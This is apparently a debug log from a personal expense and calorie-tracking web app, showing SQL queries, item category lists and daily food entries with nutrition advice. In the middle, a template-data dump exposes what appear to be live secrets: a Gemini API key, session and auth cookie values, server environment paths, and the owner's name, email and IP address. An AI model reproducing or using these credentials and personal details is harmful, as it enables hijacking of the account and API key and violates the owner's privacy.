    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:11:43.481Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:11:43.481Z server-connect:app Executing action step setvalue
2025-12-16T10:11:43.481Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:11:43.481Z server-connect:output var_total: 1071
2025-12-16T10:11:43.481Z server-connect:app Executing action step setvalue
2025-12-16T10:11:43.481Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:11:43.481Z server-connect:output var_consumed: 45
2025-12-16T10:11:43.481Z server-connect:app Executing action step setvalue
2025-12-16T10:11:43.481Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:11:43.481Z server-connect:output var_deficit: 1329
2025-12-16T10:11:43.481Z server-connect:app Executing action step custom
2025-12-16T10:11:43.481Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:11:43.483Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:12:19.965Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:12:19.965Z server-connect:app Executing action step identify
2025-12-16T10:12:19.966Z server-connect:app options: { provider: 'security' }
2025-12-16T10:12:19.966Z server-connect:output identity: 1
2025-12-16T10:12:19.966Z server-connect:app Executing action step restrict
2025-12-16T10:12:19.966Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:12:19.966Z server-connect:output restrict: undefined
2025-12-16T10:12:19.966Z server-connect:router Render template layouts/main
2025-12-16T10:12:19.966Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:12:22.620Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:12:22.620Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:12:22.621Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:12:22.622Z server-connect:app Executing action step identify
2025-12-16T10:12:22.622Z server-connect:app options: { provider: 'security' }
2025-12-16T10:12:22.622Z server-connect:output identity: 1
2025-12-16T10:12:22.622Z server-connect:app Executing action step restrict
2025-12-16T10:12:22.622Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:12:22.622Z server-connect:app Executing action step identify
2025-12-16T10:12:22.622Z server-connect:app options: { provider: 'security' }
2025-12-16T10:12:22.623Z server-connect:output identity: 1
2025-12-16T10:12:22.623Z server-connect:app Executing action step restrict
2025-12-16T10:12:22.623Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:12:22.623Z server-connect:app Executing action step identify
2025-12-16T10:12:22.623Z server-connect:app options: { provider: 'security' }
2025-12-16T10:12:22.623Z server-connect:output identity: 1
2025-12-16T10:12:22.623Z server-connect:app Executing action step restrict
2025-12-16T10:12:22.623Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:12:22.623Z server-connect:output restrict: undefined
2025-12-16T10:12:22.624Z server-connect:app Executing action step single
2025-12-16T10:12:22.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:12:22.624Z server-connect:output restrict: undefined
2025-12-16T10:12:22.624Z server-connect:app Executing action step select
2025-12-16T10:12:22.624Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:12:22.624Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:12:22.625Z server-connect:output restrict: undefined
2025-12-16T10:12:22.625Z server-connect:app Executing action step single
2025-12-16T10:12:22.625Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T10:12:22.627Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
